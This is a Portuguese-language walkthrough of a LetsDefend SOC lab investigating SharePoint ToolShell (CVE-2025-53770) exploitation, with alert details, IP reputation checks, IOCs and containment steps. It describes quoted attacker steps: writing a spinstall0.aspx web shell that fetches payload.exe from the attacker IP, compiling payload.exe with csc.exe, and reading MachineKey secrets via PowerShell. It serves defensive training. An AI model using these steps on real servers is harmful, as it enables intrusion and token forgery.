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LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

Guia passo a passo de um laboratório LetsDefend SOC342 analisando CVE-2025-53770 SharePoint ToolShell bypass de autenticação e RCE, incluindo cadeia de ataque, análise forense e ações de contenção.

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🧠 Análise do SharePoint Zero-Day do LetsDefend (ToolShell - SOC342-CVE-2025-53770)

📘 Introdução

Investiguei um zero-day do SharePoint chamado ToolShell (CVE-2025-53770) no laboratório cibernético do LetsDefend.
O exercício simulou um ataque RCE zero-day do mundo real onde uma requisição POST maliciosa contornou a autenticação, executou PowerShell para roubar chaves MachineKeySection, compilou payload.exe e implantou um web shell malicioso (spinstall0.aspx).
Este README documenta o processo do ataque, etapas forenses, ações de contenção e lições aprendidas.


⚙️ Visão Geral do Laboratório

CampoDetalhes
PlataformaLetsDefend Cyber Range
AlvoSharePoint Server (SharePoint01)
CVECVE-2025-53770
ObjetivoAnalisar RCE, praticar detecção e contenção
Ferramentas UtilizadasWindows PowerShell, VirusTotal, AbuseIPDB, Talosintelligence, LetsDefend Log Management, LetsDefend Endpoint Security, Decodificador Base64, LetsDefend Threat Intel

🚨 O Alerta

Um alerta crítico sinalizou atividade suspeita direcionada ao ToolPane.aspx no SharePoint com um payload grande e Referer falsificado.
Isso se correlaciona com CVE-2025-53770, uma vulnerabilidade zero-day que permite RCE não autenticado através de requisições POST manipuladas.

Nat_Created Nat_Created

🚨 Detalhamento do Alerta — SOC342: CVE-2025-53770 SharePoint ToolShell Auth Bypass & RCE


🔴 Crítico

O que é: O nível de gravidade atribuído a este alerta — o mais alto e urgente.
Por que é importante: Indica que este evento pode levar a comprometimento total do sistema (RCE). Trate como prioridade máxima: isole e investigue imediatamente.


🕒 22 de julho de 2025 — 13:07

O que é: O timestamp em que o alerta foi disparado.
Por que é importante: Use para localizar logs, correlacionar eventos relacionados e construir uma linha do tempo (pesquise ± alguns minutos ou horas).


⭐ SOC342 — CVE-2025-53770 SharePoint ToolShell Auth Bypass and RCE (Regra)

O que é: A regra de detecção ou assinatura que disparou, descrevendo a condição correspondida (tentativa de exploração do ToolShell).
Por que é importante: Identifica qual padrão de ataque foi detectado — útil para caçar casos semelhantes (ex.: POSTs não autenticados para páginas de admin ou possíveis uploads de webshell).


🧩 320 (EventID)

O que é: Identificador numérico para esta instância específica de alerta ou regra (definido pelo fornecedor).
Por que é importante: Ajuda no rastreamento, filtragem e referência deste alerta em tickets ou relatórios.


🌐 Ataque Web (Categoria)

O que é: Classificação de alto nível — este alerta tem como alvo infraestrutura web.
Por que é importante: Roteia o incidente para a equipe web/SharePoint/infra e aplica playbooks específicos para web.


👤 Nível: Analista de Segurança

O que é: Função do analista ou nível de escalonamento esperado para lidar com o alerta.
Por que é importante: Indica que este não é um alerta de Nível 1 — requer um Analista de Segurança (respondente experiente) para ação imediata.


🖥️ Hostname: SharePoint01

O que é: Nome do host afetado (alvo ou origem da atividade).
Por que é importante: Este é o principal alvo de contenção — isole, colete evidências e monitore este sistema primeiro.


🌍 Endereço IP de Origem: 107.191.58.76

O que é: O IP que enviou a requisição suspeita (atacante ou proxy).
Por que é importante: Bloqueie no firewall/WAF, pesquise por outros hits do mesmo IP e verifique propriedade/geolocalização. Nota: IPs podem ser falsificados ou fazer parte de botnets.


🧭 Endereço IP de Destino: 172.16.20.17

O que é: O IP interno alvo (SharePoint01).
Por que é importante: Confirma qual sistema interno foi alvo — mapeie para o hostname e revise caminhos de acesso interno/regras de firewall.


📬 Método da Requisição HTTP: POST

O que é: O verbo HTTP utilizado — o cliente enviou dados ao servidor.
Por que é importante: POSTs para endpoints de admin são suspeitos quando não autenticados ou grandes — podem carregar payloads de exploit ou webshells.


📎 URL Requisitada:

/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
O que é: O caminho web exato e parâmetros visados.
Por que é importante: Este é um endpoint de admin/layout do SharePoint — comumente abusado por atacantes para bypass de autenticação ou upload de código. Cace outras requisições para o mesmo caminho.


🧠 User-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
O que é: A string do navegador informada pelo cliente.
Por que é importante: Frequentemente falsificada por atacantes para parecer legítima — pode ajudar a filtrar logs, mas não confie nela para atribuição.


🔗 Referer:

/_layouts/SignOut.aspx
O que é: Cabeçalho HTTP alegando que a requisição veio da página de logout do SharePoint.
Por que é importante: Referers falsificados são suspeitos — podem ser usados para contornar verificações ou imitar tráfego normal. Compare com fluxos de navegação legítimos.


📦 Content-Length: 7699

O que é: Tamanho do corpo da requisição HTTP (em bytes).
Por que é importante: Um corpo POST grande para um endpoint de admin sugere um exploit serializado ou upload de arquivo. Procure outros POSTs de tamanho semelhante para a mesma URL.


⚠️ Motivo do Disparo do Alerta

Texto: Requisição POST não autenticada suspeita direcionada a ToolPane.aspx com payload grande e referer falsificado — indicativo de exploração de CVE-2025-53770.
O que é: Explicação da regra resumindo o comportamento correspondido.
Por que é importante: Descreve exatamente por que o alerta disparou — verifique se a requisição era não autenticada, qual payload foi enviado e se corresponde a padrões de exploit conhecidos.


🚧 Ação do Dispositivo: Permitido

O que é: Indica a resposta do dispositivo de proteção (ex.: WAF/firewall).
Por que é importante: Como foi permitido, o ataque alcançou o host — trate como possível comprometimento.
Ações imediatas:

  • Bloqueie o IP de origem (107.191.58.76)
  • Habilite regras de bloqueio
  • Investigue o host de destino (SharePoint01)
  • Ajuste o WAF/firewall para bloquear requisições futuras com padrões semelhantes.

🔎 Resumo:
Este alerta reflete uma tentativa de exploit não autenticado explorando ToolPane.aspx (RCE do SharePoint CVE-2025-53770). A requisição POST continha um payload grande e referer falsificado, consistente com o comportamento de exploração zero-day do ToolShell. Como o dispositivo permitiu a requisição, considere possível comprometimento até prova em contrário. 🟥 Gravidade: Crítico


Verificações rápidas (1–3 minutos)

  1. Pesquise nos logs IIS/WAF por POSTs para ToolPane.aspx (por volta de 2025-07-22 13:07):
    Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt

  2. Extraia o corpo completo do POST do WAF/proxy ou captura de pacotes e salve em um compartilhamento forense.

  3. Procure por arquivos ASPX novos/modificados no webroot (webshells):
    Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime

  4. Bloqueie o atacante e isole o host: bloqueie 107.191.58.76 no perímetro/WAF e mova SharePoint01 para quarentena (ou restrinja o egresso).

Não exclua arquivos suspeitos — faça cópias forenses primeiro.


🧩 O que é SharePoint?

Microsoft SharePoint é uma plataforma de colaboração e gerenciamento de documentos.
Oferece armazenamento seguro de arquivos, controle de versão e portais de intranet, integrado com Active Directory, Teams, Outlook e Power BI.

🔐 Considerações de Segurança

  • Usa AD/SSO para autenticação
  • Criptografia de dados em repouso e em trânsito
  • Web parts e layouts podem ser abusados se mal configurados
  • Requer atualizações regulares para se defender contra zero-days

🧨 CVE-2025-53770 (ToolShell)

Uma vulnerabilidade crítica de RCE não autenticado no Microsoft SharePoint Server explorando desserialização insegura.
Atacantes a utilizam para:

  • Executar código remotamente
  • Exfiltrar material MachineKey
  • Implantar web shells para persistência

🧮 Pontuação CVSS: 9.8 (Crítico)
📡 Exploração: Ativa na natureza


🧠 Análise do Ataque com VirusTotal

IP de Origem: 107.191.58.76
🧩 Resultado: 15/95 fornecedores de segurança o sinalizaram como malicioso.

Nat_Created

🌍 Localização e Reputação do IP

Verificado via AbuseIPDB — IP vinculado a:

  • Tentativas de hacking e brute-force
  • Ataques a aplicações web
  • Varredura de portas
  • Envenenamento de DNS

Resultado AbuseIPDB

🌐 Reputação IP Talos

Verificado via Talos Intelligence — Características do IP/sub-rede:

  • Hospedado por Vultr (provedor de nuvem)
  • Hostnames no intervalo: *.vultrusercontent.com
  • Forward/reverse DNS principalmente não correspondidos
  • Reputação de email: Principalmente Neutra, alguma Ruim
  • Volume mínimo de email (0–0.6 por dia/mês)
  • Indica uso ocasional indevido, apoiando o contexto de atividade maliciosa

Resultado AbuseIPDB


🖥️ Análise do Endpoint

Localizei o host SharePoint01 no Endpoint Security.
Examinei o Histórico do Terminal em busca de comandos suspeitos.

Histórico do Terminal

Este log mostra que às 13:07:11, um processo PowerShell foi executado sob o pool de aplicações SharePoint, executando um comando codificado em Base64. O processo pai era services.exe, e o ataque visou diretórios do SharePoint. Este é um indicador claro de exploração ToolShell e execução remota de código dentro do servidor SharePoint.


🧾 Descobertas do PowerShell

O que significam as opções do comando PowerShell

  • -nop = -NoProfile: iniciar PowerShell sem carregar o perfil do usuário (evita detecção baseada em perfil, executa mais rápido).
  • -w hidden = -WindowStyle Hidden: executar sem mostrar uma janela (furtivo).
  • -e = -EncodedCommand: a string a seguir é conteúdo PowerShell codificado em Base64 (geralmente UTF-16LE ou às vezes UTF-8) — usado para esconder código de inspeção casual e logs simples.
  • <BASE64>: payload Base64 longo — quando decodificado contém um script de servidor ASPX (parece um webshell) que lê valores MachineKey.

Histórico do Terminal

Descobertas da Linha de Comando com Decodificador Base64:

Histórico do Terminal

⚙️ Resumo do Comportamento

  • Usa reflexão para carregar o assembly System.Web
  • Acessa método não público do MachineKeySection
  • Lê ValidationKey e DecryptionKey
  • Escreve resultados na resposta HTTP → exfiltração

Isso indica roubo de MachineKey para forjar tokens ViewState/auth — exploração clássica do ToolShell.

Comando 1 — Compilação C#:

Histórico do Terminal

🧩 Descoberta: O atacante compilou payload.cs em payload.exe usando o compilador .NET embutido → provavelmente malware.

O que isso literalmente faz (passo a passo):

  • Executa o programa csc.exe → o compilador C# que acompanha o .NET Framework.
  • /out:C:\Windows\Temp\payload.exe → diz ao compilador onde salvar o programa compilado e como nomeá-lo (payload.exe).
  • C:\Windows\Temp\payload.cs → o arquivo fonte C# (código legível por humanos) que o compilador transforma em um programa executável.

Por que isso é perigoso (explicação para iniciantes):

  • O atacante converteu texto de código (.cs) em um executável (.exe) na máquina da vítima.
  • O binário (payload.exe) pode executar qualquer ação programada pelo atacante: abrir conexões de rede, spawnar shells, instalar persistência ou roubar dados.
  • Usar o compilador embutido ajuda os atacantes a evitar dropar binários maliciosos óbvios e pode contornar monitoramento baseado apenas em scripts.

Como o atacante provavelmente o usou na cadeia de ataque:

  • Após obter execução de código via exploit web, o atacante criou ou fez upload de payload.cs.
  • Eles o compilaram em payload.exe para que pudesse ser executado como um programa nativo no servidor.
  • O payload compilado foi então usado para realizar ações subsequentes (beaconing, backdoors, movimento lateral).

Evidências a procurar (o que buscar em logs / arquivos):

  • Eventos de criação de processo para csc.exe com argumentos apontando para payload.cs ou /out:C:\Windows\Temp\payload.exe.
  • Existência de C:\Windows\Temp\payload.cs e C:\Windows\Temp\payload.exe (faça cópias forenses e calcule hashes).
  • Relações de processo pai/filho mostrando w3wp.exe / powershell.exe / cmd.exe spawnando csc.exe.
  • Atividade de rede ou atividade de processo originada de payload.exe se executado.

Resumo em uma linha (para README / ticket):
Atacante usou o compilador C# do .NET (csc.exe) para compilar payload.cs em payload.exe no host — criando um executável nativo para atividade maliciosa subsequente.


Comando 2 — Implantação de Web Shell:

Histórico do Terminal

🧩 Descoberta: Criou spinstall0.aspx dentro do diretório LAYOUTS do SharePoint → backdoor acessível via web.

O que isso literalmente faz (passo a passo, em português claro):

  • Executa cmd.exe /c → inicia o shell de comando do Windows para executar um único comando e depois sair.
  • echo <...> > "...\spinstall0.aspx" → imprime o texto HTML/ASPX fornecido e escreve no arquivo spinstall0.aspx (o operador > cria ou sobrescreve o arquivo).
  • O conteúdo escrito inclui runat="server" → torna o arquivo ASPX do lado do servidor, então o IIS/SharePoint o executa dentro do processo da aplicação web em vez de servi-lo como texto estático.
  • O elemento <object> contém Url="http://107.191.58.76/payload.exe" → instrui a página (ou o servidor quando executada) a buscar o payload.exe do atacante do host remoto.

Por que isso é perigoso (explicação para iniciantes):

  • O atacante criou uma página do lado do servidor em uma pasta do SharePoint acessível via web; como é executada no servidor, pode realizar ações com os privilégios da aplicação web.
  • A página pode instruir o servidor a baixar e executar o payload do atacante, permitindo execução remota de código e persistência.
  • Um arquivo no webroot é fácil de acionar via requisições HTTP, permitindo reutilização remota sem uploads adicionais.

Como o atacante provavelmente o usou na cadeia de ataque:

  • Após a execução inicial de código via exploit do ToolPane.aspx, o atacante escreveu spinstall0.aspx na pasta LAYOUTS do SharePoint.
  • O web shell é acionado ao visitar a página ou invocado pelo código da aplicação, fazendo o servidor buscar payload.exe do host atacante.
  • O payload buscado é então executado ou preparado, fornecendo um backdoor persistente para o atacante.

Evidências a procurar (o que buscar em logs / arquivos):

  • Arquivo presente em:
    C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — faça uma cópia forense e calcule SHA256.
  • Eventos de criação/escrita de arquivo (Sysmon EventID 11 ou Windows Audit 4663) mostrando cmd.exe escrevendo nesse caminho.
  • Logs IIS mostrando requisições para spinstall0.aspx ou requisições de saída para http://107.191.58.76/payload.exe.
  • Criação de processo ou atividade de rede imediatamente após acessos a spinstall0.aspx (indicando download/execução de payload).
  • Outros arquivos ASPX suspeitos no LAYOUTS do SharePoint com conteúdo ou nomes semelhantes.

Resumo em uma linha (para README / ticket):
Atacante criou um web shell ASPX do lado do servidor (spinstall0.aspx) na pasta LAYOUTS do SharePoint que instrui o servidor a buscar/executar payload.exe da infraestrutura do atacante — backdoor remoto persistente.

Comando 3 — Exfiltração de MachineKey:

Histórico do Terminal

🧩 Descoberta: Executou PowerShell para ler e exfiltrar a configuração MachineKey — pré-condição direta para RCE.

O que isso literalmente faz (passo a passo):

  • Executa powershell.exe → o shell de script do Windows.
  • -Command diz ao PowerShell para executar a expressão seguinte.
  • [System.Web.Configuration.MachineKeySection]::GetApplicationConfig() chama o .NET para recuperar o objeto de configuração machineKey do ASP.NET (inclui ValidationKey, DecryptionKey e configurações relacionadas).
  • Em resumo: o atacante pediu ao .NET (via PowerShell) para retornar os valores secretos da machineKey da aplicação web.

Por que isso é perigoso (explicação para iniciantes):

  • A machineKey contém segredos que o ASP.NET usa para:
    • Assinar e validar ViewState e cookies de autenticação de formulários.
    • Criptografar/descriptografar tokens web sensíveis.
  • Se um atacante obtiver ValidationKey/DecryptionKey, ele pode:
    • Forjar ViewState ou cookies de autenticação assinados, ou descriptografar tokens.
    • Fazer o servidor aceitar requisições forjadas → contornar autenticação, possibilitar RCE ou escalonamento de privilégio.

Como o atacante provavelmente o usou na cadeia de ataque:

  • Explorar ToolPane.aspx para executar código dentro do processo do app SharePoint.
  • Executar este comando PowerShell (ou um ASPX que faça o mesmo) para ler a machineKey.
  • Capturar ValidationKey / DecryptionKey.
  • Usar as chaves para criar payloads assinados (ex.: ViewState malicioso) ou cookies de autenticação válidos para escalar acesso.

Evidências a procurar (o que buscar em logs / arquivos):

  • Eventos de criação de processo mostrando powershell.exe com GetApplicationConfig ou MachineKeySection na linha de comando.
  • Respostas web, logs ou arquivos salvos contendo longas strings hexadecimais (provavelmente ValidationKey / DecryptionKey).
  • Páginas ASPX ou webshells que chamam MachineKeySection / GetApplicationConfig.
  • Atividade incomum pelo usuário do pool da aplicação web (ex.: IIS APPPOOL\SharePoint) nos mesmos timestamps.

Resumo em uma linha (para README / ticket):
Atacante executou PowerShell para chamar System.Web.Configuration.MachineKeySection::GetApplicationConfig() — tentando exfiltrar a machineKey do ASP.NET (ValidationKey/DecryptionKey), possibilitando forjamento de tokens e bypass de autenticação.Histórico do Terminal

🔍 Descobertas de Inteligência de Ameaças

Fonte: LetsDefend Threat Intel (consultado pelo IP 107.191.58.76)

  • Marcado com CVE‑2025‑53770 e observado Referer: /_layouts/SignOut.aspx.
    Interpretação: O atacante provavelmente falsificou tráfego legítimo de logout do SharePoint para mascarar requisições POST maliciosas. A contenção foi iniciada imediatamente.

Histórico do Terminal


🧩 Indicadores de Comprometimento (IOCs)

TipoIndicadorDescrição
IP107.191.58.76IP de origem do atacante enviando POST de exploração
URL/_layouts/15/ToolPane.aspx?DisplayMode=EditEndpoint de exploração
Arquivospinstall0.aspxWeb shell ASPX malicioso implantado
StringMachineKeySectionEvidência de tentativa de exfiltração de machineKey

🧾 Nota do Analista (SOC-342)

  • Data/Hora: 2025-07-22 13:07
  • ID do Caso: SOC-342
  • Host: SharePoint01
  • Severidade: 🔴 Crítica
  • Analista: Victor

📋 Resumo

Detectada exploração zero‑day do ToolShell (CVE‑2025‑53770) contra SharePoint on‑premises (SharePoint01). O atacante (IP 107.191.58.76) contornou a autenticação e realizou múltiplas ações pós‑exploração:

  • Fez upload de spinstall0.aspx (web shell) para o diretório LAYOUTS do SharePoint.
  • Compilou payload.exe localmente usando o compilador C# .NET.
  • Executou PowerShell para ler/exfiltrar valores de MachineKey do ASP.NET.

Histórico do Terminal Histórico do Terminal Histórico do Terminal

Conclusão: Comprometimento confirmado — implantação de web shell, exfiltração de chave e compilação de payload no host.


🧰 Contenção e Remediação

✅ Ações Recomendadas

  • Conter: Isolar SharePoint01 (VLAN de quarentena) ou bloquear IPs do atacante no perímetro/WAF/firewall.
  • Caçar: Procurar em todos os servidores SharePoint por spinstall*.aspx, payload.exe (por nome/hash) e uso de GetApplicationConfig/MachineKeySection.
  • Erradicar: Remover spinstall0.aspx, tarefas/serviços agendados não autorizados e qualquer malware detectado (após coletar cópias forenses).
  • Mitigar: Rotacionar valores de machineKey do ASP.NET (coordenar com proprietários de aplicativos) e aplicar patches de emergência de julho de 2025 da Microsoft em todas as instâncias SharePoint on‑premises.
  • Detectar e Prevenir:
    • Adicionar detecções para PowerShell codificado (-EncodedCommand / -e) em servidores web.
    • Alertar sobre uso de csc.exe compilando código em C:\Windows\Temp em hosts web.
    • Bloquear POST grandes não autenticados para ToolPane.aspx via regras de WAF.

📚 Lições Aprendidas

  • Exploits zero‑day comumente encadeiam estágios: RCE → persistência → exfiltração.
  • Exfiltração de MachineKey é um indicador de alto risco para ataques SharePoint — trate qualquer tentativa como crítica.
  • Binários nativos do sistema (csc.exe, cmd.exe, powershell.exe) são frequentemente abusados pós‑exploração; monitore o uso inesperado em servidores web.
  • Detecção rápida, contenção e preservação forense são essenciais para limitar o impacto.

📝 Lista de verificação rápida para resposta (resumo)

  1. Colocar SharePoint01 em quarentena e bloquear 107.191.58.76.
  2. Coletar cópias forenses de spinstall0.aspx, payload.cs, payload.exe (preservar carimbos de data/hora).
  3. Calcular hashes SHA256 e submeter ao intel/EDR (se permitido).
  4. Despejar memória de w3wp.exe / payload.exe para análise.
  5. Caçar pela infraestrutura pelos IOCs acima.
  6. Rotacionar machineKey e credenciais afetadas após a coleta de evidências.
  7. Aplicar patch no SharePoint imediatamente; considerar reconstrução do host se a persistência for confirmada.

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